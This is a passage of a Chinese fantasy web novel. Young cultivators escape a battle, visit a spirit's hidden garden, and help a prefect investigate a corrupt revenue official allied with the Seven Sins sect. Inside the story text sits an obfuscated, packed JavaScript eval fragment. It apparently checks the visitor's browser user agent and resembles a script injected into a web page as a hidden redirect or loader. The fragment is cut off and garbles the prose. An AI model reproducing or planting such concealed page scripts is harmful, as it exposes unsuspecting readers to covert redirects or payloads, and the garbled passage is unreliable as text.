页目向猛然想起一事,急问道:“你身上不是也有一块节气令吗?” 斯堪曼余光一瞥,冷哼道:“先前为抵御你那块威力用掉了。” 页目向心中愧疚,只得匆匆道了声“千万小心”,便与木弈轩携着炎煜朱急退。那蜘蛛怪人欲要追击,却被斯堪曼闪身拦下。 页目向深知形势危急,心一横,架起二人胳膊,对木弈轩道:“‘白驹’我练得不熟,施展起来难免颠簸,易出事故,但眼下逃离要紧,兴许磕着绊着也好过给斯堪曼添乱。进城后你继续为煜朱疗伤,我立刻去寻宫府尹!”木弈轩重重点头。页目向深吸一口气,一步踏出,身形凌空而起,随即化成一道流光,裹挟着二人掠过林梢,朝远方的城池疾驰而去。 斯堪曼望见那束破空白光,嘴角微扬,轻笑道:“这不是会吗?”怪人眼见追击无望,只能调转再攻斯堪曼,林间顿时劲气四溢,二人一时间僵持不下,难分胜负。 页目向凭着记忆往淮阳城方向疾驰,却迟迟望不见玉湖码头,心中渐生疑虑。他猛一停步,凌空俯瞰,见下方一片黑潮泛闪微光,以为是玉湖上空。 “白驹若是练得大成,一刻钟便能横跨一府之地,我虽修炼不精,犹可一日千里,玉湖并未如此广阔,怎么飞了这么久仍见不到对岸?” 木弈轩闻言四顾,只见周遭水天茫茫,不见边际,不由心惊:“四面皆是无边湖水,这该如何是好?” 页目向眉头紧锁:“莫不是飞过了头,到了东海?” 木弈轩看了眼伤员,急说:“煜朱要紧,架着我们你也行动不便,得尽快落地疗伤。” 页目向焦灼环视,正无措时,忽见脚下浩渺湖泽竟如退潮般消散,转眼化作一片无垠青草地!“弈轩你瞧底下!湖泽水干了!” 木弈轩心头一凛:“兴许是幻术,该不是那蜘蛛又追上来了?” 页目向念及炎煜朱伤势,低声道:“我且落近瞧个究竟。” 他控驭术法缓缓降至离地数尺,以足尖轻点,触感坚实,确是实地,这才小心将二人安置于草丛中。木弈轩不敢耽搁,立即俯身继续为炎煜朱疗伤。页目向则凝神环顾四周:一望无际的绿野,平整开阔,草上结着七色的花朵,分辨不出名字。上看是黄昏或黎明的天幕,琉璃似的云彩同青粉色的流烟,日月分布东西,一团赤红一团浅白,竟如画布不灼眼睛。 页目向疑道:“方才半夜,几时出得太阳?”再看去,百余步外草地上隆出一截,生出一藤一木,那藤蔓生得异常肥大柔软,约有七八丈宽,弯垂下腰,那木枝长得枯瘦曲节,盘着藤蔓,逆势上挑。页目向奇怪道:“从来只闻藤缠树,今日竟见了树缠藤!” 木弈轩闻声抬头,却见那树上立有一人影,正要提醒页目向,那人已挟着琉璃云彩飞落,径直而来。来人抱扶二尺箜篌,围青绢,点白纱,顶木叶之冠,双耳为翼,手足无蔽,眸光流转似玉湖秋水,青丝披散若丹京峰峦。仿佛红尘世界与他无涉,独在此间东园仙境中超然遗立。 木弈轩见着他,似乎解了那首《淮阳赋》,低低地吟诵起来: 揽川月复筑林海兮,盈盈青葱广大。平山岳没纳江河兮,漓漓怀顾东家。乘风帆倾意离岸兮,遥遥俶尔忽近,落星舟载浮宇宙兮,怯怯衣冠德行。辞渡津疾步奔往兮,淅淅瓢泼驻雨,祈晴念默鼓信勇兮,浪浪潮升止返。投石路失无踪迹兮,旋旋狐疑非真,怅惘然寂游乌夜兮,哀哀缘浅愿深。生幸偶得窥神貌兮,熠熠辗眠五彩,镜霞光照度我人兮,嗤嗤酣梦呓动。贪天功缺弥不得兮,泱泱岂遗完圣,求因果逢终有憾兮,垂垂霜鬓撮空。 二人看得痴了,竟生不出半点防备,仍轻声问:“您是?” 那人笑如虹霞,未接搭话,移至炎煜朱身旁,伏下轻抚过他腿上伤口,只见紫黑的毒痕如潮水般退去,炎煜朱闷哼一声,竟立刻苏醒过来。他睁眼望见那人,目光也瞬间被攫住,变得同页目向二人一般痴然。 那人这才含笑答道:“我与此府同名,名字秦淮。” 几人忙躬身道谢:“谢谢秦哥哥相救!” 秦淮走到一旁,伸手一挥,凭空变出四张石凳与一面石桌,笑道:“你们先坐罢。”他盯着石桌略一思忖,莞尔一笑,往那桌面上一扫,又变出四杯莹澈琼浆和一碟精致点心。“你们可尝尝这些。” 三人相顾,页目向开口道:“多谢秦哥哥,只是我们确还有要事在身,恐怕得先行告辞了。” “我知道你们的事,只是不必急这一时,自踏入东园那一刻起,外界光阴便已凝滞。”见几人面露疑色,秦淮温声道:“那位府尹已率卫官前来,你们那位朋友仍安然无恙,就暂陪我片刻可否?” 凭着这几句话,页目向已知其本事高深莫测,忙恭敬问道:“秦哥哥,我们本在玉湖旁的林中,不知怎的闯入此地,不知该如何回去?” 秦淮笑答:“此地名唤东园,也在项城外、玉湖旁,你们其实从未离开原地,只是此刻眼中所见,是我东园之景罢了。” 炎煜朱好奇道:“秦哥哥的意思是这里是幻境吗?” “阴阳本杂糅于一处,久之,混者沉下轻者飘上,因凡人行走陆地而不得入我东园中。你先前施展白驹之术,凌空过境,所以得入此间——虽然还在原地,所见却是另一处天地。”秦淮始终一脸含笑,“另外我拨弦图巧,所以又立一新规,需弦上有缘人一并到访才能入得。” 页目向听不懂什么弦上有缘人之类的哑语,暗自以为这应当是某种“掌中世界”神通,不禁追问:“弦上有缘人是指......” 秦淮却只含笑举杯,示意众人品饮琼浆,不再多言。 木弈轩又轻声问道:“秦哥哥既说我们朋友安然无恙,能否请他一同入园?我们也好了却牵挂。” 秦淮摇头道:“他认得我,我不便放他进来。” 木弈轩诧异:“秦哥哥同他可是有过节?兴许其中有什么误会?” 秦淮避开不答,转而笑道:“我带你们走一走这东园。” 炎煜朱问:“这里遍地是草,只有一株树缠藤奇怪,秦哥哥要带我们去何处观赏?” 秦淮略感惊喜,笑问:“你们都只看得见这树缠藤?”见三人齐齐点头,他语气忽带几分飘渺:“这树名‘乐木’,藤曰‘殇花’,是我好友旧时遗体所化,这东园原也是他的府邸。你们见不着其他形色真是大有福气!” 页目向自然听不懂这其中玄机,仍拱手谢道:“承蒙秦哥哥吉言。只是我们实在担忧同伴安危,不知能否指点归去之路?” 秦淮见他们去意已决,轻叹一笑:“如此躲闪,倒显得我矫情了……只是确需避他一避。罢了,既如此,便告诉你们:在此地,看得见,便回得去。”话音未落,他身形已化作千百流光飞羽,翩然散入琉璃天幕之中。 炎煜朱望着漫天流羽,不禁赞叹:“能造一处掌中世界真是好大神通!” 木弈轩却压低声音:“我看的仔细,秦哥哥似没有天目,似乎......是个残人!” 页目向蹙眉:“残人能运用法力便已十分难得,怎么会有这般神通?” 木弈轩道:“兴许正因这东园灵息浩瀚,正如低谷以纳百川?我才在此片刻,已觉功力激增,天目盈胀!”另外二人也说有如此感受。 页目向收敛心神,沉声道:“先寻归路。秦哥哥既言‘看得见便能出去’,应是让我们闭目凝神——若能以心眼见来路景象,自然便能归去。” 三人正要坐下冥思,却见秦淮又从云头落下,严声告诫道:“你们出去后千万不能说起园中境遇,也不可提到我。”三人连忙应声称是。秦淮见状莞尔:“所想成所见实在困难,还是我送你们出去罢!”话音方落,周遭景致如水中倒影般荡漾消散,秦淮身影亦随之隐去。三人只觉恍惚一瞬,再定睛时,已重回玉湖旁的密林之中。 木弈轩面颊微红,低声道:“方才我们那些议论……怕是全被秦哥哥听去了。” 页目向摆手道:“秦哥哥兴许也没在意,咱们先去支援斯堪曼要紧!”说罢再度架起二人,身形凌空而起,化作一道流光,又是一式白驹赶了回去。 却说月牙山脚下有一处落英洞,正是七罪宗藏匿的暗巢。眼下只剩心生狐一人留守洞中。先前那阵地动山摇的巨响,自然也惊动了洞中之人。恰逢首领孤月外出未归,便由耳不闻与口不掩前去查探。不料二人出去不久,便撞上仇家上门寻衅,这才引出页目向等人目睹的那场恶斗。 口不掩刚踏进洞口便破口大骂:“那长虫招惹来好多麻烦!”心生狐忙问究竟。 “我俩出了洞去,见长虫正与一群 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心生狐也不恼,他仔细确认堂中再无旁人,便脚步欢快溜到主位那张王座旁。他先是张开双臂环抱着那椅子,双腿交叠,指尖轻轻划过扶手上的雕纹,对着空荡荡的王座呢喃低语,眼波流转间尽是媚态,像是对着活人竭力的卖弄着风情,忽而,他抬起下巴,轻蔑地看过其他六张空椅,似乎在自我陶醉些什么,还勾着那张王座说着情话,笑得尤其妩媚,如痴如醉。 却说页目向三人离去这段时间,蜘蛛怪人那边又来了几个帮手助阵。斯堪曼虽仗着形散之术尚能周旋,但形势已显吃紧。除先前交过手的蝎子外,新到的四人亦是奇形怪状:一个身披重甲、长尾如鞭;一个柔若无骨、盘地而行;一个肚大如钟、步履沉浑;另一个则倒悬树梢、伺机而动。 木弈轩小声道:“秦哥哥说府尹叔叔该到了才是,怎么是敌方援军到了?” 三人忙纵身跃下,背靠斯堪曼形成四面之势。斯堪曼知是三人赶回,忙问:“宫府尹呢?” 页目向谨记秦淮嘱咐,含糊应道:“已经来了,我们先行一步。” 斯堪曼心想调兵遣将确需时间,并未生疑,只沉声提醒:“务必小心,这几个皆非易与之辈。页目向,你的乾坤袋在那蛇怪身上。” 炎煜朱气道:“就是他偷了向哥东西?” 木弈轩急忙按住他:“别贸然动手!” 对手见对方又有援军赶到,心中暗恼,各自蓄势待发。树上那人最先按捺不住,腰肢诡异地一扭,竟凭空隐去身形。页目向心念电转:观他们形貌皆是五毒之属,这只定是蜥蜴壁虎之流!当即凝出一团光球抛向半空——光芒照处,那蜥蜴果然现形,一只手已探至木弈轩脚边! 木弈轩惊得猛一跺脚,地下瞬间窜出藤萝将其牢牢缚住。蟾蜍见状纵身扑来欲救,被炎煜朱一记火拳轰然震退。蜘蛛心中骇然:这几个娃娃不过片刻未见,功力怎会精进如斯?急忙吐丝欲拽回蜥蜴。页目向眼疾手快,光刃闪过切断蛛丝,余劲竟将蜘蛛震退三步。 蜘蛛稳住身形怒喝:“还不动手!”蝎子闻声立即伏低背甲,长管如毒刺般扎向斯堪曼。斯堪曼反手擒住长管,借势一扭,竟要将蝎子整个掼倒在地。蛇怪与蜈蚣迫于蜘蛛威压,只得硬着头皮近身夹击,蟾蜍与蜘蛛亦同时扑上! 千钧一发之际,林间陡然响起一声断喝:“擒!” 蜘蛛闻声色变,急道:“撤!” 除蜥蜴受困藤网外,余下四虫顿时四散遁逃。众人循声望去,但见府尹宫昌率近百卫官肃立林间,刀甲森然。 斯堪曼急声道:“宫府尹,那蛇怪身上带着节气令,决不能放走!”宫昌颔首,当即挥手命卫官全力追击。 页目向正要一同追去,却被宫昌抬手拦下。府尹目光如炬,沉声问道:“我本意是让你们与七罪宗结交,暗中再查探线索,可眼下这般阵仗——究竟发生了何事?” 炎煜朱急道:“这几人同七罪宗是一伙的,他们偷了向哥的乾坤袋,我们还亲眼看到那蝎子和耳不闻口不掩,三人联手屠了百来号人!” 府尹闻言大喜,一把拉住炎煜朱的双肩,连声笑道:“当真!可有遗证?” 页目向上前一步回道:"我们本已擒住口不掩,却被耳不闻救走。那些被害之人的尸首……也尽数被蜘蛛怪人吞食。不过现场或许还残留些许痕迹。"他顿了顿,又补充道:"此外应当尚有幸存者逃散,若能寻到,或可对口供。" 宫昌闻言,负手默然片刻,缓缓摇头道:"难啊……难啊……"几人面面相觑,一时无言。他随即环视四周,沉声问道:“你所说的残留痕迹在何处?”页目向引他前去,只见那尊银炮仍矗立原地,地上果然散落着零星残肢与斑驳血迹。宫昌俯身细看,脸上却未见喜色,只吩咐左右:“将这些悉数收敛起来。” 卫官擒住那蛇怪后,果真从其身上搜出乾坤袋,交还页目向。页目向打开仔细清点,除金福珠短了数百颗外,其余物品俱在。他收好袋子,松了口气笑道:“总算有惊无险!” 宫昌却面色一沉:“寻常物件倒也罢了,若连节气令都遗失,你如何向页长老交代?” 页目向惭愧垂首:“宫叔叔教训的是,晚辈日后定当谨慎。” 木弈轩适时问道:“宫叔叔可知这些毒虫的来历?他们为首的那个蜘蛛怪人修为极高,若与七罪宗勾结……” “卫官自会详查。”宫昌打断道,目光渐深,“不过论起祸患,七罪宗与这些毒物加起来,怕也不及盘踞秦淮府的那颗毒瘤十之一二!” 11. 秦淮篇-秦淮水浑 林中风声梭梭,宫昌言辞虽狠厉,斯堪曼却不以为意,打断道:“宫府尹既然意指大毒瘤,怎么不纳贤招才、整备人手?” 宫昌未料及他突然发问,斯堪曼继续挑衅道:“难不成偌大的秦淮府竟寻不出一个堪用之人,非要千里迢迢召来几个位不在九品的无能小辈涉险送死?”页目向眉头微动,炎煜朱撇了撇嘴,木弈轩则轻轻垂下目光。 宫昌闻言忙朝着页目向三人躬身一揖:“公子万请恕罪!可岂不闻墙内开花墙外香,下官此举实有苦衷!”他正说着就要下跪,页目向与木弈轩急忙上前搀住。“毒瘤深种,若不尽早根除,何以面对秦淮百姓?常言道不入虎穴,焉得虎子,只是连累诸位涉险,下官私心难安,有罪!”说罢又要屈膝,再次被页、木二人拦下。 斯堪曼冷笑一声,道:“不必说这些冠冕堂皇的话,大话自然有理,我不同你争辩。我们并不知情,更非自愿,你凭什么做我们的主!”他目光扫过页目向三人,“何况,我们也是黎民百姓,黎民百姓什么时候有了轻重之分?” 宫昌一时语塞,林间气氛陡然凝滞。页目向见状只得出来圆场:“宫叔叔为民请愿之心,我们都明白。您所说的毒瘤,晚辈也能猜到一二,只是其中具体缘由,您始终未曾明言……能否先说与我们听听?” 宫昌道:“密林深处易藏祸患,下官需即刻押送这些证人证物回衙审理。过后下官再亲自拜访,那时必将细细禀明!” 页目向见他如此说辞,便也应下,见斯堪曼已悄然离去,遂也向宫昌告辞。木弈轩见状拉着炎煜朱朝府尹拘了一礼,快步追上前去。 再说淮阳城中有一处红房酒楼,专供达官贵人饮酒作乐,其中风流轶事偶有逸出,必成市井谈资。楼内遍铺猩红丝绒地毯,金线绣满繁复纹样,极尽奢靡华贵之能事。此刻客座中央众星捧月般围坐的,正是当今秦淮户郎庆布先生。席间却见两位熟面孔——芃丝与半战,眼下芃丝面露不耐似要离去,而庆布不允。 芃丝拉着半战闯进一空厢房,愤然道:“他顶着那张脸怎么敢想留我?只惦记着那帮脑满肠肥货色口袋里的金银!金银怎么及容颜好?糊涂!糊涂!”半战却无心搭理,只倚在窗台前,信手向下抛掷小物件,听着落地的声响解闷。芃丝见他冷淡,心中□□又起,要来挽他。半战嫌他麻烦,一手推他倒地,转身躲去另一包厢。芃丝跌坐在地,犹自恨恨骂道:“可惜你那张脸皮!不知道寻欢的好事,糟蹋!糟蹋!” 庆布过了一阵才踱进包厢,见着芃丝一脸郁躁,便笑道:“你好没信水,他们几个小子不来,你便待不下去?” 芃丝剜他一眼,没好气道:“你换张脸再与我说话!” 庆布也不恼:“半战已去招待贵客了。” 芃丝愈发毛躁:“他们算什么东西?我岂会贪图那点施舍的破金子!再不放我回去,休怪我翻脸!” 庆布惧他真恼,安抚道:“淮北商座主千金,年方二八,生得娇小可人。你今日只消去陪她如何?” 芃丝眼中倏地一亮:“人在何处?” “那姑娘仰慕你已久,已请至你家中,你回去后好生招待,别光顾着贪欢!” 芃丝得了桩美差,语气稍好:“你以后换张脸再与我说话。”说罢便兴冲冲离去。 待四人回到客栈,天亦快破晓,正是困意上头。炎煜朱径直栽倒在床,木弈轩也道撑不住,要先回房歇息。唯独页目向心事重重,独坐桌前默然沉思。 斯堪曼见他这般模样,轻笑道:“不愧是忧国忧民一等君子。” “也不全为宫府尹那番话。”页目向脑中纷乱如麻——东园奇遇、五毒与七罪宗的勾连、家中失物下落,千头万绪一并涌上心头。 “等晚些时候宫昌自然会来交待清楚。”斯堪曼舒展了下手臂,打算小憩片刻。 “你先别睡,你先前在林中快我们一步去,可是遇到了什么?” 斯堪曼眉头微蹙:“我寻着节气令去的。遇上蛇怪,和他过了几招,他不敌我,便用节气令来攻我,我也只好祭出我那枚。等烟尘散去,他已逃了。我正要去追,见月牙山下有个洞府,只是没来得及进去,便听见枪炮声,想是你们遇险,又折了回来。” “既然如此,当时说明白,我们一同前去也有个照应。” 斯堪曼却反问:“那节气令若非被我奇袭抢夺,让他有机会施展出来,你们可有办法抵挡?” 页目向细想确是这个道理,只得摇头。 斯堪曼见他面露愧色,语气稍缓:“不过你们倒也藏了些手段。木弈轩往返之间便能治愈炎煜朱,总算不堕家门风范。” 页目向牢记东园中秦淮的嘱咐,对此事只好含糊带过,哈哈两声推说困倦,便自去歇息了。斯堪曼也未多心,身形一晃化作一只夜蝠悬于窗檐,悄然入睡。 宫昌派车马来接时,已是黄昏。马车行了约半个时辰方至政厅。这政厅建得极尽奢华:占地三百亩,楼阁连千幢,飞檐绘彩,瓦当耀金,墙饰红玛瑙,阶砌金镶玉,白日里映日生辉如彩云托珠,夜晚则灯火通明似深海婵光。 木弈轩惊叹:“秦淮府不愧鱼米之乡,竟有如此气派的政厅!” 斯堪曼冷言:“只怕是啃噬了不少国税。” 炎煜朱嘀咕:“占这般大的地方,不如辟作草场牧马放牛。哪来这许多官员,要住这许多屋子……” 页目向含笑:“我倒是越发好奇,宫府尹剑锋所指,究竟是怎样的‘毒瘤’了。” 门童引着几人在宫苑中曲折穿行,好一阵才到宫昌的会厅。厅中早已备好一桌佳肴。见众人到来,宫昌挥退属官,亲自迎他们入席。 宫昌故作随意地问道:“诸位觉得这政厅可还宽敞?” 炎煜朱直言不讳:“我们一路走来,多少屋子都空着落灰,未免宽敞得有些过分了!” 木弈轩笑着试探:“宫叔叔总不会是主张修建这皇宫大院的人吧?” 宫昌目光微沉,意味深长道:“早在下官接手秦淮府之前,这座政厅便已竣工多时了。” 页目向立即会意,接话道:“如此说来,主张修建此处的,想必就是您所说的那位‘大毒瘤’了?” 宫昌神色一正,肃然道:“三年前下官到任秦淮,依例巡视各处民情。秦淮自古繁华,少有清贫之家,唯独南陵三乡,因山路险阻,常受饥寒之苦。下官遂同工部工长卢围商议,欲修筑官道直通南陵。卫官长彭化得知此事,回禀南陵一带保家势力盘踞,民风刁悍,修路恐难成事。下官答他:卫官早该清缴保家,礼官亦当教化刁民,便限他们一年之内,扫清修道阻碍。” 页目向闻言沉吟道:“有件事颇觉蹊跷:前日在巴蜀地界,我们也曾遇着一伙自称保家的匪徒,可他们供称是被七罪宗追杀,方才流亡至此。” 宫昌沉声道:“此乃后话。当时下官更震惊的是,因大兴土木,府库已空虚见底,正欲彻查贪墨。不料南陵忽传乡民暴动、司礼荀络遇害,本官只得携刑部督长曲岩、兵部校官李裕率卫官前往查办——却正中奸人下怀!” 木弈轩敏锐道:“莫非与先前派去的卫官有关?” 页目向颔首:“寻常乡乱,岂能伤及司礼这等大员?” “正是如此!原只当山野藏龙,谁料竟是祸起萧墙!先前派去清缴的卫官与当地保家流瀣一气,行迹更是一等一的匪徒!李校官及诸卫官为护我与曲督长周全……尽数殉难。待本官仓皇返回府城欲调兵平乱,户郎庆布却来报,说有天降奇兵已剿灭叛军,南陵百余处保家势力俱已降服。” 众人皆心知肚明——这"奇兵"除了七罪宗,再无别家。 “此后刑部结案,判卫官长及保家首领死刑,余众按罪入狱。至于那些‘剿匪功臣’……”宫昌嘴角扯出一抹冷笑,“庆布力主重赏,本官便顺水推舟,上书为那个当家的请了个男爵虚衔,记一等功。” 炎煜朱忍不住插话:“照这么说,七罪宗反倒成了功臣?” “此事尚有下文。”宫昌面色凝重,“因这丑事有损政厅颜面,上下得了严令不得声张。待新的司礼、卫官长、校官上任后,此事便算勉强揭过。” 斯堪曼一针见血:“新上任的,想必都是户郎的人了?” “正是!”宫昌一掌击在案上,“连督长曲岩也成了他的人!这秦淮府,早成了他庆布的私产!那卢围偏又是个不硬直的主,自此再提修路只道是财政亏空,只能作罢。” 宫昌叹道:“一年多前我去府剧院听戏,记了一个剧团名字,叫七罪宗,说宗主出身男爵,系世家门阀子弟。下官心生疑虑,查阅档案——果然就是之前所封的“剿匪英雄”!我之后派人暗访南陵,百姓竟仍在向保家纳贡。再问如今谁是保家,正是那七罪宗!我这才明白一切都是庆布精心布设的局,贼喊捉贼罢了!若当初我一并折在了南陵,他这一计才是真的值当!” 炎煜朱怒道:“占山收保岂能合法?人证物证俱在,便是公开审讯,他又如何躲得了!” “下官何尝不是如此设想?”宫昌苦笑,“可亲赴南陵三城,竟无一人敢出面作证。待要查验地契,户部竟出具官文,称百姓所缴乃是耕地租金,绝非保家月贡。” 他取出一卷律例掷于案上,“《司法书》明载:土地公有,荒山禁垦。耕田亩数,年轮载册。租赁允准,期号连查——工部执掌田亩工建,最辨得清地契真伪。” “本官原想以七罪宗其他罪证胁迫卢围反水,奈何……一时竟抓不住那老狐狸的把柄。” 页目向扼腕:“物证遗失尚属可惜,人证尽失实为可悲!” 宫昌长叹一声:“本官深知,欲除此患,必先涤荡官场。故转而彻查政厅贪墨,奈何他们五部盘根错节,实在无从下手。” “何况即便是搜查定罪,也不敢明着动手。”宫昌面露凝重,“你们都已亲眼所见,七罪宗靠着些台面上的善举,深得民心。即便他们真有窃国之行,如今拥趸之众…恐怕远胜过公道之声。” 木弈轩问道:“为何不上奏朝廷?” “我曾派亲信前往国都求援,可此人一去不返,想来已遭不测。”他话音一转,眼底微光闪动,“幸而借为殉难校官复仇之名,结交得一队心腹卫官,否则......既得苟活,下官誓要还秦淮河清海晏。” “秋前页长老途经秦淮,我借招待之机禀明此间种种,奈何苦无实证,长老虽公务缠身,仍许诺会着手处理。”宫昌从袖中取出一封密信,“不久前收得长老信文,庆布事先过目,道公子前来寻物让我接应,你们虽看似游历,实则替我牵制了各方视线——如今许多暗中布置,皆是借照应你们之名才得以推进。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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页目向无功而返,面色凝重。庆布冷眼旁观——他早已截阅过页长老的书信,此刻更确信了几分,便顺势道:“府中不乏熟悉淮阳地界的好手,公子若不嫌弃,不妨挑些人助你搜寻?” 页目向心中盘算,婉拒道:“府上公务繁多,实在不好假借人手,多谢庆叔叔好意。” 庆布也不再坚持,只推说另有要务,便转身步入政厅。 却说严离那日离了舍源镇也不急,只仍当在休假,想起一位久未探望的故友,便绕开官道,往丹京城而去。老友好客留他两日,把酒言欢好生快活。 席间,友人醉醺醺道:“你怨你家主事心偏!我说你家元帅心也偏!五位少将独留你青龙国内巡查,另外四位如何不眼红?也就是我这老友心正,要治治你家人心偏的毛病!” 严离笑他醉话连篇:“元帅心正着呢!我们五个各自在家国中巡查,何来偏心?” 友人也没要听他答话,忽然高歌唱罢,倒头便睡。 严离虽气主事心偏,却也惦记年幼兄弟,回过神来已收拾好包袱行李,留下字条告辞老友,顶着漆夜再度上路,如今也快入了秦淮府中。 这边庆布入了政厅,径直寻到宫昌,进门便拱手笑道:“恭喜宫府尹!此番可是立下大功了!” 宫昌佯装愠怒:“险些酿成大祸,你还敢说恭喜?” 庆布上前拍着他肩膀,宽慰道:“这几日难为你担惊受怕了。页长老的孙儿,可是金贵得很啊!” 宫昌重重一叹:“万万不能在秦淮地界出什么岔子!只不知他们还要耽搁多久。没想到项城林中竟也藏匿着匪徒,依您之见……?” 庆布目光一沉:“府尹有何高见?” “袭南陵之事!”见庆布不语,宫昌压低声音,“若等上头派兵亲征,你我岂止是颜面扫地?” 庆布扫过案上文书,语重心长道:“此事……还需从长计议。切莫打草惊蛇啊。” 这边页目向错失了黄玉冠心中无尽懊恼,便让几人再逛逛夜市,图着兴许还能遇见。斯堪曼讥讽他是大海捞针,他也不肯作罢。 斯堪曼忽而问道:“绿翠甲能出藤生蔓,这黄玉冠又有何特别?” 页目向闻言刚露笑意,旋即又锁紧眉头:“它虽能自生光芒,需在暗处才显真形。淮阳城中灯火不灭,发光的才不引人注目。” 木弈轩劝慰:“东西总是在淮阳城里,总有寻回之日。” 炎煜朱却不急着寻物,瞧见路旁小摊上摆着各式精巧玩意,便嚷着要停下细看。忽见摊角木牌上写着“七罪宗推荐”五个字,顿时皱起眉头:“怎么哪儿都有他们?” 小贩听见,笑着搭话:“讨个彩头嘛!” 炎煜朱不解:“什么彩头?” 小贩眉开眼笑:“这夜市上不管卖啥,只要弄上七罪宗的画像、名号,保准生意红火!” 木弈轩凑近问:“这当真是七罪宗推荐的?” 小贩讪讪一笑,压低声音:“您看见了这字,那不就是他们推荐的?要说我摊上卖的也不差,只是他们的宣广费高哦!” 正说话间,人群如潮水般向两侧分开,让出一条通路。只见一列披甲卫官神色肃穆,径直朝政厅方向疾步而去。人们纷纷投以注目礼,窃窃私语声四起:“这是出什么事了?” 12. 秦淮篇-动荡格局 斯堪曼瞧着疾行的卫官,道:“对方怕是有些心急了。” 炎煜朱按捺不住想跟去瞧个究竟,却被木弈轩轻轻拉住。她转头低声问页目向:“向哥,我们要不要去看看?” 页目向略一沉吟:“既然是爷爷的意思,总该走这一趟。” 斯堪曼斜睨他一眼:“若是无关,你便不去了?” 页目向正色道:“即便无关,于情于理也该去看个分明。” 斯堪曼闻言,嘴角微不可察地一扬,这才转身走在前面。 几人随人群来到政厅前,只见被围得水泄不通,正不知如何进去,恰巧遇见张武也在场,这才得以通行。进了吏部堂厅,但见陈设整齐,瓷器吊灯完好无损,却空无一人。正欲找寻宫昌下落,忽听得内间传来一声凄厉惨叫。 “往里去!”斯堪曼化作蝠群抢先冲出,炎煜朱紧随其后,页目向和木弈轩也立刻跟上。 却说庆布告辞吏部不久,宫昌心头忽涌起一阵不安,当即点了左右护卫前去囚室查看。见蛇怪同蜥蜴依旧被绑着,才稍安心,才稍松口气,正欲增调人手看管,那蜘蛛竟破土而出,瞬间卷走两名护卫! 幸好他忙拉响警铃,才引得卫官与众人注意。他终究为一文官,并不长于天目神通,交手数合便落下风。蜘蛛招招阴狠,直取性命,见宫昌闪避灵活,竟猛扑近身,双臂齐出。宫昌侧身险险避过,不料蜘蛛腹下忽现一对镰爪,死死钳住他腰腹!他奋力挣扎不得,蜘蛛又张口衔来,他忙偏头避开要害,蜘蛛利齿瞬间嵌进肩胛,顿时血肉模糊,实在疼痛难忍,所以惨叫出声。 蜘蛛见他不死,骂道:“本王素来只爱吃死物,今朝开鲜,活吞了你!”说罢就要往嘴里送,却又挨了斯堪曼一脚,重重砸倒在地。 “又是你这死夜蝠!”蜘蛛见斯堪曼现身,再无战意,纵身跃出囚房,钻入地洞遁走。 木弈轩最后赶到,见宫昌肩头血流如注,急忙上前施法止血疗伤。 宫昌忍痛嘶声道:“都道舍源镇…...英雄辈出!这位小友,不知是哪家公子?先前…...多有失敬!” 炎煜朱开口解释:“曼哥不是舍源镇的,是页爷爷派来照护我们的。” 宫昌闻言正要向斯堪曼致谢,却被他打断:“页长老并不识得我,你从哪儿听说?” 正在疗伤的木弈轩低头佯装专注,炎煜朱只得扭头看向页目向。 页目向满心疑惑:“你真不是?” 斯堪曼反问道:“你又从哪儿听说?” 页目向只当他嘴硬,半开玩笑道:“等此事了结,你非得带我去你家瞧瞧,我才不信世上真有那种书!” 斯堪曼冷哼一声,不再接话。宫昌不知内情,只当是密诏不便与当事人明说。 木弈轩处理好伤口,轻声道:“血已止住,但经脉受损,须尽快送宫叔叔去医馆。此番又让那蜘蛛逃脱,接下来该如何是好?” “等不来,便主动去寻。”斯堪曼望向幽深的地洞,“不还有句古话:欲加之罪,何患无辞?” 送宫昌去往医院后,页目向一路心神不宁,终是上前拦下斯堪曼:“果真要如此吗?” 斯堪曼不以为意:“其罪当诛,污他一条又何妨?” “且容我先试正道之法,若不行再依你计,可好?”页目向坚持道。 炎煜朱也嚷起来:“栽赃嫁祸太不君子!我做不来,你们自己编去。” 木弈轩轻声劝解:“宫府尹查了年余都难取证,你如何行得了正道之法?但官官相护,安个罪名又岂是易事?” 页目向目光坚定:“爷爷他是知晓此事的,若是强安罪名,他老人家大可自己扫清。引我们来,定是要我们处理得堂堂正正!如今宫府尹受伤送医,庆布守备必松。我们只消取得他案卷文书,何愁找不到实证?” 斯堪曼挑眉:“这便算光明正大?” “巡查本案自有巡查之权,依法取证,如何不光明?”页目向反问。 木弈轩忧心道:“若一无所获呢?” “那便去月牙山再探究竟。” 斯堪曼见他胸有成竹:“既如此,乾坤袋给我,我去替你取来。” 页目向取出节气令与岁寒剑,这才递过乾坤袋。斯堪曼嫌他扭捏,接过乾坤袋,化作一只夜蝠,隐入夜色而去。 却说方才经历了刺客袭击,政厅本该戒备森严才是。然而除户部仍有常规兵力把守,其余各部只留了寥寥几名值岗卫官。囚房外的地洞倒是让工匠草草填上,只是封土疏松,着实蹊跷。蛇怪忽闻门外响动,低声试探:“蛛王大人?”只听锁链“咔嗒”一响,门扉轻启,进来的正是那去而复返的蜘蛛。 蛛王为他们解绑,笑骂道:“两个小崽子,可叫我废好大的功夫!”正欲越窗而去,忽见一只夜蝠掠入对面窗中,急忙闪至帘后窥视。 蛇怪低问:“大人为何停下?” 蛛王嗤笑:“庆户郎该当有麻烦,夜蝠小子去端他老巢了!” 蜥蜴急道:“属下这就去通报庆布?” “自然要报,”蛛王阴恻恻一笑,“等见了孤月再议不迟。” 蛇怪顿时会意,谄媚道:“蛛王大人英明!”蜥蜴虽半知半解,却也不敢多问。 斯堪曼眼角余光早已瞥见蛛王一行,心想:不如放他们回去,也好再定重罪。于是佯装未觉,径直潜入户部档案室。室内仅有二名值守,斯堪曼使了个昏睡法,令他们倒去,落地显出真身,将满架卷宗尽数纳入乾坤袋中,旋即扬长而去。 等他再回到客栈已是午夜。页目向望着堆满桌案的档案,无奈扶额:“你这哪里是取证,分明是抄家。 ” 斯堪曼辩驳道:“若漏了关键文书,岂非是我的过失?我不懂你们这些卷宗门道,你们自行审阅就是。”说罢便闭目假寐。 页目向体谅他这几日辛劳,便由着他去,转而吩咐木、炎二人筛选出工程、契约、财税相关的文档,其余暂且收起。 